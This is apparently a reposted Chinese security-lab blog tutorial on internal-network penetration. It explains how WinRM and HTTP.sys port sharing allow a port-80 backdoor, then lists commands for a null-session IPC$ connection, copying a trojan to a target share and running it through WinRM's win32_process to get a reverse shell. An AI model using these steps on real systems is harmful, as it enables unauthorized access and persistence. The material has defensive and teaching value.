内网 linux 反弹shell,安全实验室 | 内网渗透—利用WinRM实现端口复用&反弹SHELL

WinRM(Windows Remote Management)是Windows远程管理的简称,WinRM基于Web服务管理(WS-Management)标准,使用80和443端口,可以在对方开启防火墙的情况下远程管理目标机。在Windows Server 2008 R2以上的系统中都默认开启该服务。如果防御者配置不当,攻击者在内网渗透中很可能会利用WinRM实现端口复用,进而实现内网无文件攻击反弹shell。本期美创安全实验室将给大家介绍相关攻击原理及方法。

Part 1、WinRM端口复用原理

使用Windows的远程管理服务WinRM可以实现端口复用,结合HTTP.sys驱动自带的端口复用功能,一起实现正向的端口复用后门。

HTTP.sys驱动是IIS的主要组成部分,主要负责HTTP协议相关的处理,他有一个重要的功能是端口共享(Port Sharing)。所有基于HTTP.sys驱动的HTTP应用都可以共享同一个端口,只需要各自注册的URL前缀不相同即可。

而WinRM就是在HTTP.sys上注册了wsman的URL前缀,默认监听在5985端口。因此,在安装了IIS的Windows服务器上,开启WinRM服务后修改默认监听端口为80即可实现端口复用,通过Web端口登录Windows服务器。使用netsh http show servicestate命令可以查看所有在HTTP.sys驱动上注册过的URL前缀。

491b5ebde614683e91237fe12b8b4349.png

Part 2、端口复用配置

对于Windows Server 2008以上的系统中,WinRM服务默认启动并监听在5985端口上。如果服务器本来就监听了80和5985端口,则我们既需要保留原本的5985监听端口,同时需要新增Winrm监听的80端口。这样的话,WinRM同时监听80和5985端口。这样既能保证原来的5985端口管理员可以正常使用,我们也能通过80端口远程连接WinRM。

通过下面的命令,可以新增WinRM一个80端口的监听。

Winrm set winrm/config/service

@{EnableCompatibilityHttpLinstener=”true”}

2d829dbc0ec6ec9bc9bc3b78e82a8ac7.png

可以看到80和5985都在监听。

b142d09c5a1cd93d6b73df4f3c1a5de6.png

Part 3、WinRM实现反弹SHELL

目标机:192.168.210.102(Win 7)

跳板机:192.168.20.35(Win10)

攻击机:192.168.210.38(KaliLinux)

1)在跳板机上运行winrm

命令:winrm quickconfig

9d0bfb9374272d57f2ae49292c02efbd.png

2)在跳板机上使用net use连接目标机

命令·:net use \\192.168.210.102\ipc$ “” /user:””

6a3e379b28c83a0342c49777e2e496d4.png

3)将木马放置在目标机中的共享文件夹下

命令:copy \\\

b4ab4914ce621ad3248a517f87a9604f.png

4)利用跳板机内的WinRM实现无文件攻击反弹shell

命令:winrm invoke createwmicimv2/win32_process

@{commandline="\\\\"}

2bd3f5a7cb7d1a0e70f93ed28f796ab2.png

攻击机成功监听到反弹shell

bbc6bd30db572b1401ca6aabe7548b14.png

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值